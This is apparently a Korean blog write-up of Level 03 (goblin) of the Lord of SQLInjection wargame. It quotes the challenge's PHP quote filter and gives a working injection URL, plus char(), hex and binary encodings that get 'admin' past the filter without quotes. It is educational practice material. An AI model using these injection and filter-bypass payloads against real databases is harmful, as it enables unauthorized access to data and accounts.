LOS Level 03번 문제를 풀어보자.
풀이 과정
1. $_GET[no] 를 통해 no 변수를 사용자 입력값으로 받고 있다.
2. preg_match() 함수는 $_GET[no]로부터 입력받은 값에서 'prob', '_', '.', '\' 값이 있을 시 No Hack ~_~ 화면으로 넘어가고, '(싱글쿼터), "(더블쿼터), ` 값이 있을 시 No Quotes~_~ 화면으로 넘어간다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
3. 다음 문장은 입력받은 no와 id가 guest인 값을 찾아서 $query 변수에 저장하는 쿼리문이다.
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
4. 값을 찾은 쿼리문을 출력하고,$result['id']가 admin 일 때 문제를 풀 수 있다. id가 admin이 아닐 시에는 Hello $result[id]을 출력한다. → id가 'guest'는 고정되어 있으므로 no 변수에서 쿼리문을 조작해 공격해야 한다.
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
풀이
no라는 변수 이름에서 숫자일 수도 있겠다고 생각이 들었다. no=0, no=1 ... 등 넣어주었다.
no=1 일 때 Hello guest 문구가 뜬다.
그러므로, id가 guest일 때, no가 1이 아닌 임의의 값을 넣어 거짓을 만들고 뒤에 id가 admin이면서 참이 되게 만들어주면 된다.
쿼리문을 select id from prob_goblin where id='guest' and no=0 or id='admin' --%20 이렇게 해준다.
where id='admin'이 되고 , 뒷 부분(pw)은 -- 주석처리를 해줌으로써 id가 admin이 되므로 문제가 풀리게 된다.
But.....
No Quotes ~_~ 문구가 뜬다. 싱글쿼터를 필터링 하고 있기 때문이다.
'admin' 문자열을 우회하는 방법에는,
char 형 (아스키코드로 인코딩)
id = 'admin' → id = char(97,100,109,105,110)
Hex 형 (16진수로 변환)
id = 'admin' → id = 0x61646D696E
bin 형
id = 'admin' → id=0b110000101100100011011010110100101101110
위 3가지 방법으로 싱글쿼터를 사용하지 않고도 id = 'admin'을 넣어줄 수 있다.
이 문제의 쿼리문에서 no 변수는 쿼터를 사용하지 않으므로 주석처리를 하지 않고 참으로만 만들어서 문제를 풀 수 있다.
https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0 or id=0x61646D696E |
답
GOBLIN Clear!가 뜨게 된다.

알게된 점
싱글쿼터 자체를 필터링하는 방법을 찾느라 시간이 오래 걸렸다 ㅠㅠ..
문자열 우회 시 char형, hex형, bin형을 사용하면 싱글쿼터를 쓴 것과 같다는 것을 알게 되었다..
문제 풀이 사이트
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] Level04 write-up (0) | 2021.10.14 |
---|---|
[Lord of SQLInjection] Level02 write-up (0) | 2021.10.14 |
[Lord of SQLInjection] Level01 write-up (0) | 2021.10.14 |
댓글